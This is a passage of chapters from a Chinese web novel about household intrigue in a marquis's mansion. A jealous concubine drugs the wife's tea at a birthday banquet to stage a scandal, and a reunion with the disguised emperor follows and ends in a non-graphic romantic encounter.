不过他走到马车前却停了脚步,好似想到什么似的转头看向下属,“南星,再有几日,就是永宁侯老夫人的寿辰了罢?” 周南星,其实原本就只是这个下属的名讳罢了。 当初谢元墨掩去身份,纪萝问他名讳,他便随口用了这下属名讳,原本是不曾多想的。 只是后来纪萝声声唤他“南星”,他心底却又不自觉地生出些隐秘的不甘来,后来他才明白,那竟是嫉妒。 只是直至二人分离,他也没能将他真正的名讳告知。 南星并不知谢元墨此时心中如何作想,听着他突然问起此事也有些意外,不过还是应道:“这个月十九,正是永宁侯老夫人的寿辰。” 谢元墨微微颔首,掩下眸底那几分晦暗不明的情绪,他道:“为朕准备一份贺礼,届时,朕亲自上门前去贺寿。” *** 不论那日赵承嘉与王氏间闹得多么不愉快,瑜夏到底还是住进了晴芳院,有了妾室的名分。 这事虽不曾大操大办,可王氏令人往晴芳院里送了不少衣裳首饰,又安排了两个婢子贴身伺候,也足以见得对这新姨娘的重视。 而这瑜夏也并未因着王氏这般抬举便目中无人,成了妾室的第二日,她便规规矩矩地过来向纪萝请了安。 这是王玉盈从不曾做到的。 得知瑜夏过来,纪萝也并未摆正室的架子,直接令人将她请了进来。 “瑜夏见过夫人。”一进里间,瑜夏便先见了礼,“夫人安好。” 纪萝抬手让她起身,见她样貌秀婉,气质柔静,心下便也明白王氏为何会这样快将人纳进侯府了。 这样的女子谁人瞧了不心动? 赵承嘉如今或许还一心为王玉盈守着,但时日久了,王玉盈又不是个安分的,他总有烦心而无处纾解的时候,到时见了瑜夏这般女子,如何能不心动? 纪萝如此想着,与瑜夏也不过嘱咐了几句要好生侍奉侯爷之类。 这些话瑜夏在王氏那里已经是听过一回,如今在纪萝这儿也是又听了一回。 她自然是垂首应着,只是心里却因此看轻了纪萝几分。 不免想着这侯府果真还是老夫人做主,眼前这位虽是正头夫人,可事事却都还要守着老夫人的规矩。 在纳妾这事上更是一点话语权都没有,全是由着老夫人作安排。 也实在可怜。 纪萝不知她心里如何作想,也并不在意她心中如何想。 说完这些场面话之后就借着要准备寿宴的由头让她先回去了。 纪萝回来得晚,寿宴之事其实大多已经安排妥当,只是还有些请帖寿礼之类还需核对一番,最近纪萝也正在忙着此事。 瑜夏此番过来也不过想借机试探一番,看看侯府得的正室夫人到底是否如传闻一般。 传闻中的纪萝据说是性子极好,加之家世不高,父亲甚至还曾牵扯进一桩罪行中获了罪,如此,她即便性子原本不算是个和顺的,在这样情况下,也只得被磨成这般了。 不过后来也听说纪萝曾被送进庄子里,关于这事又有许多说话,又说是因着永宁侯当街将已经嫁作他人妇的表妹带回侯府,纪萝这个正室夫人受不了这样侮辱,索性大闹了一番,惹得永宁侯生了厌恶,这才将人送去了庄子,也有另一种说法,说永宁侯这是为了给心爱之人腾出正室的位置来,不过后来即便纪萝去了那庄子,王玉盈最终这只得了个妾室的位置,甚至连侧夫人都不是,这般说法自然也就不成立了。 况且如今纪萝又回了侯府,诸事也就越发扑朔迷离,更是令人揣摩不透了。 瑜夏也正是因着想不通这其中缘故,所以特意过来试探一番。 见纪萝果真一副极好说话的模样,她心底自然高兴。 无论如何她总归是个妾室,倘若正室夫人是个嚣张跋扈会欺负人的,她往后的日子也不好过,不如是纪萝这般,家世低又不得侯爷宠爱的,即便有心,有些事也做不成。 即便生得这般美貌,不得侯爷喜爱,却也是白白浪费了。 如此想着,瑜夏便也退了下去。 只是她从青萝院出来的景象却正好被王玉盈身边的凝芳远远瞧见了。 凝芳与凝露都是王玉盈尚在闺中的贴身婢子,从前王玉盈是与凝芳更为亲近些,有什么事情也大多吩咐她去办。 只是凝芳胆子小些,而王玉盈从重生之后,整个人就浑然变了,行事也越发张扬古怪,许多事,凝芳却是没胆子帮她做的。 而凝露却正好是个胆子大的,凝芳不敢做的事,她不仅能做,而且好几回都办得极为漂亮。 所以渐渐地,凝露成了王玉盈身边倚重地婢子,凝芳反而少有帮着办事地时候。 初时她还不曾有什么感觉,甚至想着那些事她确实办不成,也没胆子去办,有凝露帮着自个担了风险也是好事,可时日久了,见从前在自己跟前巴结的人都转头去对凝露点头哈腰,凝芳心里自然也生出些落差来。 这会儿她瞧见瑜夏从青萝院出来,心下想着这倒是个难得地立功机会,于是赶忙转了步子回去向王玉盈禀报了这事。 纳妾之事王玉盈自然是知道的。 这事是纪萝当着她的面向王氏提的,当时也正是因着这事让她心下颇为憋屈。 而得知瑜夏这般上赶着巴结纪萝,王玉盈心里自然也不舒服,她将摆弄了许久地那只钗子砸在妆台上,“这倒是个聪明的,才入了侯府,便已经知道该巴结哪个了!” 见她脸色一下沉了下来,凝露瞪了凝芳一眼,“真是个不会说话的,大早上让姑娘坏了心情!” 凝芳被当着王玉盈的面这般呵斥,面上顿时有些挂不住,可毕竟是在王玉盈跟前,她心下有气却也不敢说什么。 而凝露又从一旁妆匣中取了一朵绢花别在王玉盈发间,道:“姑娘何必因着这样的 小事生气,气坏了自个的身子实在不值得,到底寿宴也没几日了,到了那时候,谁管那瑜夏巴结了谁,最后不过都是一场空罢了!” 王玉盈想起自己在寿宴中那一场安排,唇边总算是带了些笑意。 也是,那日之后即便赵承嘉当真对纪萝还存了情意,她的下场也必是不会好的。 既是如此,倒也确实没必要再为这种小事动气了。 而一旁凝芳立在那儿,心底的火气还没来得及发泄出来,却又不得不压了下来。 现下凝露与王玉盈说得这些话,她是全然不知到底是什么意思的。 这事不需她参与其中帮衬些什么,自然也就没有非要告知她的理由。 这事原本风险就大,多一人知晓便多一份麻烦,凝芳一无所知是最好的。 这会儿王玉盈缓和了心情,发觉凝芳还立在一旁,不由皱了皱眉道:“不是让你去熬药么,还站在这里做什么?” 调养身子的药,王玉盈如今还一日日喝着。 而熬药这却是实实在在的苦差事,一日要熬上两回,每回都是一个时辰起。 但因着这药方里隐藏了许多秘密,这事却是万万不能随意交给旁人,所以次次都是凝芳盯着。 这会儿她听着王玉盈不耐烦的话语,也不敢说什么,只能垂首应下。 *** 入夜。 青萝院。 赵承嘉是纪萝晚膳后过来的。 纪萝原本以为自己昨日那样将他赶走,他应当会想着冷落自己几日,却不想今日来了。 第42章 只是纪萝却并未有伺候他的心事。 从他来了,也只是在才进门时起身向他行了一礼,之后便只将心思放在了核对寿宴请帖贺礼之事上。 似乎只当作赵承嘉并不存在。 赵承嘉在她身边坐了片刻,又起身看了看她手中那些请帖,眼见案几上的沙漏漏尽,便顺势劝道:“天色不早了,不如明日再忙?” 可纪萝头也未抬,“再有几日便是母亲的寿辰了,这事耽误不得。” 这样的一个理由便将赵承嘉还未曾说出口的话噎了回去,他神色一顿,又听得纪萝道:“侯爷若是累了可以先歇息,我还需得将手上这些请帖理好才行。” 纪萝是为着王氏的寿辰忙碌,赵承嘉自然挑剔不出错处来。 可即便如此,他心底依旧隐约觉得有些烦躁,但这股气憋在心里,偏偏连发作的理由也没有。 他盯着眼前人看了半晌,而纪萝对他的目光依旧恍然未觉,只垂眸翻过手中请帖。 赵承嘉心底的那阵火气烧了起来,他脸色发沉,转身出了青萝院。 而直至他离开,纪萝也未曾抬眼多看他一眼。 赵承嘉大步走了出来,心里虽很是不高兴,但却也很快想通。 他贵为永宁侯,上赶着侍奉他的女子不知凡几,纪萝这会儿想不通反而是令她自己吃了苦头,等她自个想明白了,自会像从前一般用心侍奉,不过是时间早晚的问题罢了,他等得起。 想着,他走出了青萝院,想着这会儿时辰不早了,也没了去见王玉盈的兴致。 索性转头要回书房。 他今日赶着回来,甚至也晚膳都来不及用,原本想着可以在青萝院用,可谁曾想到…… 纪萝实在是不识抬举! 赵承嘉如此想着,大步回了书房。 但书房门前却立着一道纤细的身影,夜色下,赵承嘉并未辨认出这女子身份,只觉得有些眼熟。 直至那女子见了赵承嘉,连忙上前行了一礼,道:“瑜夏见过侯爷。” 赵承嘉这才反应过来,这是王氏给他纳的那个妾室,那日他虽见过瑜夏,可只是匆匆一眼,并未细瞧,所以一时才并未认出来。 “你等在这里做什么?”这会儿已经夜深,瑜夏独自守在这书房门口确实奇怪。 瑜夏怯生生地看了赵承嘉一眼,迟疑道:“我在等侯爷。” 赵承嘉一愣,便听她接着道:“我听说侯爷今夜会回来,所以便提早过来等着。” 他今夜确实会回来,只是一回侯府便先去了青萝院。 他想着,再看向瑜夏,也想到她大约在此处等了许久,到底是个弱女子,他心底也不由生出怜惜之意来。 “可准备了晚膳?”他没由来地问了一句。 瑜夏虽有些意外,可却也反应极快地点了头,“有的,侯爷想吃什么?” 赵承嘉没应声,但却转身往晴芳院去。 瑜夏欢喜得不行,也忙跟了上去。 但这一夜,赵承嘉与瑜夏却并未有亲密之举,只是简单歇了一夜。 只是这事王玉盈却是不知,她只知昨日夜里赵承嘉是歇在了晴芳院,这便足以令她心生怨恨。 她早知只凭着赵承嘉对她那几分情意,是万万无法永远将人留在自己身边的、 赵承嘉贵为永宁侯,只要生了心思,身边要多少女子都是易事。 这一日,迟早都会到来。 可她不曾想过,这一日竟会来得这样快。 那瑜夏才纳入府中不过两日,他竟然就…… “说什么心里一直装着我,怕不过都是假话罢了!”王玉盈眼酸得厉害,这会儿说话也更是口无遮拦。 凝露在一旁劝了几句,让王玉盈千万收敛着性子,“姑娘还有别的算计,万不能在这时候闹起来,等到时候咱们的事成了,纪氏被赶出府去,您再顺势上了位,到时候对付一个妾室,岂不是容易许多?” 这话说得确实有几分道理,可王玉盈却还是吩咐道:“今夜请侯爷过来用晚膳罢?” “姑娘……”凝露听得这话不免有些担心。 她知王玉盈这些时日心底原本就憋屈得不行,若是因着瑜夏之事彻底发作,反而与侯爷闹得不合那可就得不偿失了。 可王玉盈心底却已经有了主意,“你只管去便是。” 凝露只得答应下来。 当夜,赵承嘉也确实来了观荷院。 晚膳时,凝露一直在旁侍奉着,心底却是七上八下的,担心王玉盈会因着瑜夏的事向赵承嘉发作。 但她的担心显然是多余的。 直至晚膳用完,王玉盈也并未提及瑜夏,却和赵承嘉说了不少从前的事。 她将碟子里的点心夹到赵承嘉碗里,神色中带着回忆,“不知表哥可还记得,从前我最是喜欢吃这样杏仁酥,也没有特意与表哥说,表哥却记在了心里,每回来寻我,都总要带上一份……” 赵承嘉一怔,却也不自觉想起了从前。 那时正是他情窦初开之时,与王玉盈也算青梅竹马,小姑娘生得虽不算多么貌美,甚至被他宠着还多了几分骄纵,可他就是喜欢她,喜欢到为她付出一切也愿意。 只是后来…… 想起王玉盈是如何坚定地选择旁人,甚至连看也不愿多看他一眼,赵承嘉心底不由多了几分压抑。 而王玉盈也正说到此处,“我这辈子最后悔的,便是那时候没有紧紧握住表哥的手,没有嫁给表哥,做表哥的夫人。” 她说着,眼泪已经是落了下来,却 又释怀地笑了,“不过好在兜兜转转,我还是陪在了表哥身边,就算只是个妾室也好,只要能陪在表哥身边,都好。” 一番话说下来,赵承嘉自是颇为动容。 他也知晓他这些时日对王玉盈有些冷落,可那日的事毕竟也不是她的过错。 再看如今的她,似乎比之当初还不曾入侯府为妾时还要憔悴许多。 从前自己那样在意的女子,如今终于成了自己的枕边人,自己不曾给她个正室的位置也就罢了,甚至连好好待她也做不到。 想到此处,赵承嘉心下也越发愧疚,终于是将王玉盈揽入怀中,轻声道:“阿盈,你受苦了。” 王玉盈靠在赵承嘉怀中,眼底的得意之色一闪而过,声音中却还带着几分哽咽,“阿盈不苦,只要能陪在表哥身边,就足够了。” 眼前两人情意正浓,凝露也是个有眼力见的,忙垂首退了下去。 一夜春光。 *** 一晃几日过去,也正来到了王氏寿宴当日。 这日前来贺寿的人不少,时辰尚早,便已有宾客前来。 纪萝提前做了安排,宾客来了都有下人接引至席中,一切井然有序。 正厅中,赵承嘉与王玉盈都在,瑜夏最近颇得王氏喜欢,这会儿却是在华庆院侍奉。 从那一夜过后,赵承嘉对王玉盈多了几分怜惜,已经是连着几夜都留宿在了她院中,而这会儿,他也正拉着王玉盈坐在身侧。 纪萝对此倒是并不在意,她本要起身去招待宾客,但不想王玉盈却在此时叫住了她,“姐姐稍等。” 纪萝停了脚步,便见她身边的凝露端了茶水奉上,而她走上前笑着道:“前头我入侯府时,偏偏姐姐去了庄子,我竟是连茶水都不曾有机会向姐姐奉上一杯,实在是乱了规矩。” 说着,她从凝露手中接过茶水,送到纪萝面前,“今日难得有这样的机会,正好表哥也在,还请姐姐饮了这杯茶水罢?” 纪萝的目光落到眼前的茶水上边,茶水清澈见底,自是瞧不出什么端倪来的。 见纪萝没有接过这杯茶水,王玉盈的目光中多了几分委屈,“姐姐可是在怪我这杯茶水敬得晚了些?” 纪萝什么话也没说,却已经是被她扣了一顶帽子过来,不过纪萝也早见识过王玉盈的性子,倒也并不觉得奇怪,只移开目光往外间看去,“妹妹想多了,只是寿宴中事务繁多,我还有事情要做安排,妹妹这茶水,我便只当作是喝过了。” 说罢,她转身便要走。 只是王玉盈却并不肯罢休,她端着那杯茶水拦住了纪萝的去路,声音越发委屈道:“不过是一杯茶水而已,也耽误不了姐姐多久,可姐姐这般不肯赏脸,难道是对妹妹实在不喜,连妹妹这个妾室的身份也不肯认下么?” 她这话虽是在对纪萝说的,但那委屈至极的目光已经是时不时落在了赵承嘉身上。 显然是指望着赵承嘉为她说话。 毕竟她这样的手段,对纪萝定是起不到作用的,倘若没有赵承嘉在,她也是万万不会做出这般姿态来。 这些纪萝心底也明白。 果然,见王玉盈这般伏低做小,可纪萝却依旧不肯给面子。 再联想到前几日自己去青萝院时,她也对自己颇为冷淡,赵承嘉的面色很快沉了下来,“只是一杯茶水,夫人还是喝了罢?” 他虽称呼纪萝为“夫人”,可那语气中的威胁之意却是怎么也掩饰不了的。 纪萝立在那儿,心下无比清楚地明白,赵承嘉既是如此说了,那这杯茶水,她便是不喝也得喝了。 若是她怎么都不肯饮下,怕是赵承嘉会吩咐人将这杯茶水生生给她灌下才会放她离开。 这一瞬,纪萝其实是不难过的。 她对赵承嘉的感情早已消磨殆尽,自然是没什么可难过的。 只是眼见他们这般一唱一和,却不免觉得有些好笑罢了。 她当真轻笑了一声,转头看向王玉盈道:“既然王姨娘一心想奉上这杯茶水,又恐坏了规矩,依着规矩,那王姨娘怎地也得跪着向我奉上这杯茶水罢?” 第43章 这些话原本就是王玉盈亲口所言,这会儿她若是不肯跪,那便说明她方才那些话都并非真心了。 王玉盈眼底生出了几分怨恨来,可到底是咬了咬牙,跪着奉上了那杯茶水。 而这时,赵承嘉的目光也直直地落在了纪萝身上,倘若此时纪萝再不肯喝下这杯茶水,他定是不会答应。 王玉盈自也是昂头盯着纪萝,她距离纪萝颇近,这让纪萝全然没有做其他安排的机会。 她从王玉盈手中接过那杯茶水,到底是一饮而尽,而后转身离去。 看着纪萝离开的背影,赵承嘉说不出心底到底是什么感觉,方才他说那样的话,也并非想逼着纪萝一定要喝下王玉盈奉上的茶水,只是觉得纪萝的性子太倔,倘若方才能像王玉盈那般软着性子地求一求他,他也并非…… 只是纪萝就是纪萝,无论如何也不会与王玉盈一般。 这样的道理,赵承嘉是永远也想不明白的。 而王玉盈缓缓起身,眼底除却那几分怨恨之外,又多了些得意。 她早已将一切尽数安排妥当,只要纪萝饮下这杯茶水,便不会出了岔子。 她已经是迫不及待地想看到纪萝的下场了。 *** 出了正厅,身边的婢子蓉芳颇为担心地上前,“夫人,您这几日忙得不行,几乎没有好歇息的时候,头晕的症状总犯,昨日喝了药才算有所好转,今日早上熬好的药却又没来得及喝……” 今日是王氏的寿辰,这样的日子纪萝向来是忙前忙后,几乎没有空闲时间的,今日一早起身也并未顾得上喝药便匆忙过来安排事务。 这会儿听蓉芳提及此事,纪萝安抚道:“无事,厨房那边已经熬好了汤药,等这边的宾客入了席,我便寻个空隙回去便是。” 蓉芳听得这话,心下虽还有担心,可也只能无奈地点了头。 与芸枝不同,蓉芳并非是纪萝成婚时从纪家带过来的婢子,不过却也是一直子青萝院做事的。 纪萝虽从庄子里将吉香带了回来,可她原本毕竟是做粗活的,照顾人实在没有那样细致,所以这些时日纪萝多将蓉芳带在身边伺候。 这蓉芳并非是个心性灵活的,但纪萝能看出她是个忠心护住的,这一点便是极为难得。 她回到侯府也是怀着旁的心思,自然希望身边之人都是能信得过的人。 此时已过了辰时,侯府的宾客也渐渐多了起来。 纪萝上前去招呼寒暄着,熟稔地与几位身份贵重地夫人攀谈几句,而后又令人引他们各自落座。 对于这样的事情,纪萝原本是不会的。 她在纪家并未接触过这样的场面,即便有什么宴会,也无需她这般来招呼。 更何况她还被送去青州那样养了几年,就更无需操持这些。 只是后来嫁来侯府,却不得不在这些事情上边费心。 一回生二回熟,初时她只跟在王氏身边,王氏又是个苛刻的,哪怕只是一点小错误,到了她的口中就仿佛天要塌了一般。 口口声声便是要维护侯府的名声,说她这般举止上不了台面,旁人定会暗地里说永宁侯府的是非。 可实际上不过是无关紧要的小事。 不过才只过了半年,后来纪萝再去这些宴会,便是再如何挑剔的王氏,也寻不出她的错处来了。 甚至席中那些身份贵重的夫人还少不了会夸她几句,说她稳重大方,将事情办得颇为用心之类。 王氏听着,也觉得是给侯府长了面子,对纪萝也会和颜悦色几分。 不过到如今,纪萝依旧不曾生下个一子半女,这事又成了王氏的一块心病。 便是此时,与纪萝交谈的世家夫人中 ,也有不少问起此事的,纪萝早无心此事,便都只含糊应着。 那些个世家夫人只觉她是觉得此事不好外扬,便也只能安慰她几句便没再多说。 而这一日,魏氏也带着纪敏敏到了侯府。 小姑娘身体长得快,这会儿再见比之年初时,又长高了一截,大约是贪玩的缘故,还晒黑了不少。 她见了纪萝,认真地辨认了一会儿之后,竟是小声地唤了一声姐姐。 纪萝听着她那奶声奶气的声音,心一下就化了,伸出手道:“可要姐姐抱?” 倘若当初她那个孩子能生下来,不知是否也会是这般软糯的模样…… 窝在魏氏怀中的纪敏敏有些迟疑,又是魏氏哄了一声,“让姐姐抱一会好不好,等下回去母亲给你买饴糖吃。” 听了这话,纪敏敏这才慢吞吞地松开魏氏,又往纪萝的方向张开手,这便是愿意让她抱的意思了。 纪萝心中一喜,连忙将小姑娘接了过来。 魏氏看着这般景象也不由笑了,“这孩子嘴馋,最是爱吃饴糖,只是吃多了对牙不好,我不爱给她买。” 纪萝也笑了,“这个年纪的孩子怕都是如此,少不了贪嘴些。” 魏氏又是点头称是。 纪萝抱着纪敏敏逗了一会,见小姑娘性子虽然羞怯,可与自己熟悉后,话一下子就多了起来。 有时候即便没与她说话,她自己也一个人嘴里含糊不清地嘟哝着什么,实在是可爱极了。 而前头王玉盈与赵承嘉那桩事闹得沸沸扬扬,魏氏虽不怎么出门,可却也是听过一些的。 这会儿见了纪萝,她迟疑了几番,却还是开了口问道:“侯爷如今对你,还好吗?” 虽最终只是将王玉盈纳做了妾室,可毕竟那样闹腾了一番,算是彻底将与纪萝的夫妻情分置于不顾了。 魏氏也曾被纪明林的薄情伤透了心,她自然知道这般滋味实在不好受。 可纪萝却是嫁进了侯府,这样的身份地位与小小一个纪家更是不同,纪萝背后更是连个撑腰的都没有,怕是什么都做不了。 唯一能求着的,就是赵承嘉还对她存了几分情意,看在夫妻数载的份上,能留住这个正室夫人的位置,日子也不至于太过煎熬。 纪萝听着这话,神色定了一瞬,而后扯出一抹笑意来点了头,“挺好的。” 魏氏见她这般神色,似乎想要开口说些什么,可到底未曾说出口,只转头提及了王玉盈那桩事,“那时候我听得传闻,原本也是想过来看看你的,可你父亲却怎么都不肯答应。” “他说,那是侯府的家事,我们就不要去添乱了,我转头问他,那是不是他女儿,他就发了脾气……” 说着,魏氏别过脸去悄悄用帕子抹了眼泪,“他这人,实在是自私透顶,说那样多,不过是怕开罪了侯府罢了。” 见魏氏落下眼泪,纪萝怀中的纪敏敏忙伸手要去给魏氏擦眼泪,嘴里还含糊说着“娘亲不哭”之类的话,可爱的姿态也让魏氏心绪缓和过来。 纪萝早知道纪明林是什么样的人,也从不指望着他会为自己出头,所以倒也并不会为他这般举动觉得难过。 她轻轻叹了口气,将纪敏敏还给魏氏,道:“侯府这边的事家里确实也管不了,放心吧,我一切都好好的。” 魏氏抱着纪敏敏,沉默着点了头。 外间还有别的宾客需要招待,纪萝的话说完便吩咐人将魏氏与纪敏敏引入席中,她再去招呼宾客。 不知是站得久了还是别的缘故,纪萝才走了几步,便只觉一阵头晕目眩之感,倒是像前两日的症状。 她强行将这阵眩晕之感压下,王氏身边的婢子却过来传话,说是天子备下贺礼亲自前来贺寿,这会儿正在华庆院与王氏说话,令纪萝前去见礼。 听了这话,纪萝心底自是觉得颇为意外。 区区一个永宁侯府,其实是无论如何也不至于让当今天子亲临的。 王氏与宫中太后并无交情,更不至于沾亲带故,从前王氏寿辰,也从不曾见天子来过。 若能令人送贺礼过来,都已经是天大的恩典,更不说亲自前来。 纪萝心底这般想着,不过天子并非寻常人物,想来无人敢在这种事上边胡言,况且方才过来传话的还正是王氏身边的秋和。 倘若是旁人可能信不过,但这秋和在王氏身边侍奉多年,没有信不过的道理。 如此想着,纪萝将刚来的几位世家夫人安排妥当之后便与蓉芳一同往华庆院的方向去。 一路上,纪萝虽强撑着,可那阵头晕目眩之感却始终不曾消散,反而是越发变本加厉,不仅如此,她还隐约觉得周身涌上来一阵热意,甚至额头已经微微冒出细汗来。 蓉芳见她这般模样实在担心,迟疑道:“夫人,不然您还是先回一趟青萝院稍作休整,也将炖好的药喝了,等身子稍稍缓和再去见天子罢?” 闻言,纪萝心下也有些迟疑,她一面担心若是就这般去见天子,万一失了仪态,不知是否会惹得天子不快,可若是先回去,这一来一回又怕是要耽误不少时间,如此下来,岂非竟是要天子等着她? 这也实在不妥。 所以她一时也拿不定主意,只能强撑着让旁人瞧不出端倪来。 但也正在这时,廊道的拐角处一道似乎有些熟悉的身影由远及近,他身着墨色锦衣,通身的矜贵气质只远远瞧了一眼便知并非常人。 而等人走得近些,纪萝才瞧清楚了那张熟悉的面容,她不由怔住,声音里有几分不敢相信,“南星?” 第44章 从庄子回来以后,纪萝并非不曾想起过谢元墨。 甚至有想过他们会不会在未来的某一日再见面。 倘若有些缘分的话。 但她没有想过,这一日竟会来得这样快,她在王氏的寿宴上,再见到了他。 其实仔细想想也就不奇怪了,他是从上京人士,应当也是有些身份地位的,而王氏这次的寿宴邀了不少人前来,或许他也正在其中。 谢元墨此番,原本就是为了纪萝而来。 可见想见之人就在眼前,他心底反而生出了几分怯弱来,他压下心头翻起的百般情绪,目光却始终不曾从她身上移开,“这些时日,你过得还好吗?” 纪萝想起回了永宁侯府之后的这段时间所发生之事,竟是点了点头。 她回来只因心里有想做之事,王玉盈与赵承嘉也好,旁人也罢,这些事情已经无法影响她分毫。 甚至她还因这些人能牵绊住赵承嘉感到高兴。 如此说来,回到永宁侯府的这些日子,竟也不算多么糟糕。 只是这话落入到谢元墨耳中,却是另一层意思了,他垂下眼眸,轻声道:“只是回到他身边,就足够了么?” 纪萝没听清他的话,便往前两步,可这样的动作却令她更是头晕地厉害,好在谢元墨反应及时将她搀住才不至于摔倒,这时谢元墨才发觉她情况有些不对,心底一慌,“纪姑娘,你怎么了?” 一旁蓉芳也吓了一跳,忙替纪萝做了解释,“我们夫人前几日便劳累过度身子有些不适,原本是开了药的,可今日正是老夫人寿辰,夫人忙前忙后,竟是连个喝药的空档都没有,这才……” 说到此处,她抬眼看向谢元墨,咬牙道:“还望公子帮忙照顾我家夫人一会,今早的汤药一早便熬好了,我如今去端来给夫人服下应当便能好转。” 蓉芳向来是心思简单的,她瞧着纪萝与这位公子似在叙旧,便也知道两人是旧相识,再加之此处距离青萝院其实也不算太远,她若是跑着去的话更是用不了太久时间。 而若是纪萝身边无人,她也实在放心不下,所以才托谢元墨照料。 谢元墨皱眉,他 虽知这样有些不妥,但眼下也没有别的法子,只能答应。 蓉芳不敢耽误了时间,一见他答应,便直接跑着往青萝院的方向去了。 而廊道外间的花草景致旁,一道鬼祟的身影瞧见这般景象,便悄悄地转身离开。 *** 王玉盈从正厅出来之后便到了女宾席上,期间还与李氏说了会话。 李氏言语间自然都是催促王玉盈能尽快为赵承嘉生个孩子,她听说了侯府又纳了妾室,还对此颇为不满。 “才让你入了府,就又纳了一房妾室,偏偏还是个婢子的亲戚,这样的身份抬得与你平起平坐,怕不是故意要让你不好受。”李氏从那日在王氏面前吃了瘪之后,便对王氏颇有意见,虽然表面上依旧是一副巴结姿态,可背地里却说了不少难听的话。 这会儿到了永宁侯府,竟还忍不住说出这种话来。 这些道理王玉盈如何能不清楚? 她前些日子这般憋屈,与王氏为赵承嘉纳了瑜夏为妾有莫大关系。 不过好在赵承嘉从那一回去了晴芳院之后,后边便再不曾宠幸过瑜夏,反而抽了空便来观荷院。 也算让她心底稍稍有些慰藉。 虽说李氏说的话不假,可眼下这所在显然不适合抱怨此事,若让旁人听了去,怕是又要多生事端。 但李氏心底憋着一口气,这会儿说话也顾不上这么多,又道:“好在侯爷心里是有你的,你万万要抓住侯爷的心,至于旁人,即便如何为难你……” 这话只说了一半,王玉盈便已经是听不下去了,但依旧强压下心头的不耐,“母亲,这些道理我都明白,你放心便是。” 听王玉盈如此说,李氏只得又叮嘱几番,这才止住了话头。 等李氏入了席与旁人攀谈起来,王玉盈才转身绕出了女宾席,沿着小道往旁边园子去了。 她安排了凝露去暗中盯着纪萝动向,前头已经瞧出纪萝有头晕的迹象,想来是下在茶水中的东西起了作用,这会儿再时时盯着,寻了机会便引她早安排好的人前去。 届时再安排宾客撞见这般景象,到时一切肮脏事尽数暴/露于众人面前,便是赵承嘉对纪萝还有几分在意,王氏也看重她,这种丑事闹出来,她也必不能继续占着正室夫人的位置。 王玉盈如此想着,神色中也多了几分得意。 瑜夏那个侍妾又不得侯爷喜欢,再加之不过是个妾室的出身,万万比不过自己去,所以说到底只要没了纪萝,一切便都容易许多。 凝露正在此时匆匆前来向王玉盈回话,“姑娘,纪氏瞧着已经有了症状,只是……” 王玉盈看向她,便听她神色迟疑道:“只是那纪氏竟是在宾客中碰见了熟识的,而且那人还是个男子,奴婢瞧着两人关系似是不错,碰了面便说起话来。” 王玉盈皱眉,“那男子是何人?” 凝露摇头,“奴婢不认得,不过看这人穿着打扮,或许是哪家富贵公子也未可知。” “罢了。”王玉盈移开目光,“纪氏喝了那杯茶水,纵然此时他们还能安分守礼,再稍稍等等,定是会行些僭越举动,你再盯着,等寻了时机,我会引人过去。” 虽说此人并非王玉盈安排的,可只要他们举止逾矩,这一切落入旁人眼中,便是一桩洗不清的肮脏事。 而永宁侯府必定不会容许这样的事情存在。 至于那男子到底是何人,却也不是多么要紧之事。 凝露会意,自是应下。 凝露走后,王玉盈又吩咐了人拖延住纪萝贴身伺候的那个婢子,万不能让她坏了事。 等底下人应声下去处理,王玉盈这才安心下来。 接下来只准备看好戏便是。 而等凝露才回到那廊道时,便见那名身着锦衣的男子已经将纪萝搀进了旁侧的客房中。 眼见这般景象,凝露便知自家姑娘的计策已是成了,心下一喜,忙回去递了消息。 此时纪萝周身仿佛已是宛如置身与火炉之中,里衣都被黏腻的汗水浸透,意识却越发清醒起来。 因着情况不好,谢元墨担心这般景象被宾客瞧见实在不妥当,而廊道旁正好有一排客房,于是便索性将人搀进了屋内。 只等蓉芳将那汤药端来,用过汤药之后再稍作歇息,身子稍稍恢复之后再离开。 可等他将人送进里间的床榻上,准备给她去倒一杯茶水时,纪萝却顺势握住了他的手。 谢元墨身子猛然僵住,而后下意识回头看向她。 却见倚靠在床榻上的纪萝脸色微红,眉眼微微弯起,他下意识将目光落在她的唇上。 今日是王氏寿辰,她打扮得比寻常时候更是庄重大方些,唇上染了嫣红的唇脂,他几乎失神地看着,喉咙不自觉有些干涩。 “南星。”纪萝握住他的指尖微微用了些力气,而如水的眸子里头一回浸染了情/欲,想要靠近他,亲近他。 但纪萝并不曾失了神智。 恰恰相反,她仿佛比方才在外间时还要更加清醒许多。 初时,她也以为自己不过是犯了病,用些汤药就好了。 可后来,身上越发灼人的烫意却让她反应过来,她应当是中了催/情的药物。 后宅之中这种阴私药物并不少见,纪萝虽不曾真正接触过,但却听说过不少,她知若是中了这种药物,不行那种事,便只能在冷水中浸泡数个时辰,如此才能生生熬过去。 几乎只是几息之间,她的目光落在谢元墨身上,心底便有了答案。 她握着谢元墨的手,几乎没有用什么力气,就将他的身子渐渐拉近。 等两人之间的距离近到连彼此的呼吸都清晰可见时,谢元墨才猛然清醒过来,他别开脸去,声音沙哑道:“我去安排人请大夫过来。” 到了此时,即便谢元墨在这种事上边再如何迟钝,也定然觉出了她的不对劲。 他不能行这趁人之危的事。 可正当谢元墨要起身出去之时,纪萝却索性抱住了他的腰身,听着他心口传来的急促心跳声,纪萝忽地开口道:“南星,你喜欢我,对么?” 到了此时,从前忽略的所有一切似乎都在眼前变得清晰起来。 从最早的时候他出现在她面前到最后离开时,留给她的那封书信,他的心意,似乎从来也不曾掩藏。 她的力气其实不算大,谢元墨想要将她推开更不会是一件难事。 只是…… 她靠得那样近,身体的温热全然无法躲避,连他下意识扶住她肩膀的掌心,也生出了灼热的烫意…… 这样的感觉,他好似,有些眷恋。 而正在这时,他听到纪萝伏在他的心口,问他,可喜欢她? 那道声音极轻,但却让人无法忽略。 他喜欢她么? 那个声音贴近他的心口,让他心底一片酥麻之意弥散开来。 他将她抱得紧了些,心底也有了答案。 是,他喜欢她。 第45章 温热的唇在这一瞬几乎不受控制地靠近,而后唇齿纠缠。 纪萝的手抚上谢元墨的腰间,很快将他的腰带解开,连带着外袍一同脱下,接着贴近他的身体,手缓缓探进里间。 谢元墨的耳尖红得宛若能滴出血来,他的喘/息声不断加重,几乎是全凭着最后一丝神智捉住了那只在自己胸口作乱的手,“纪姑娘,你是不是……” 他想问她,是否还存有理智。 可他的话还未说完,她已经是先一步在他耳边给了他答案,“我很清醒,从未这样清醒过。” 她是清醒的,清醒的想要靠近他。 得到这个答案的一瞬,他终于任由那最后留存的一丝理智沉沦,反客为主般将她压在了床榻上,还不等她回过神来,铺天盖地的亲吻便落在了她的唇上,脖颈处…… 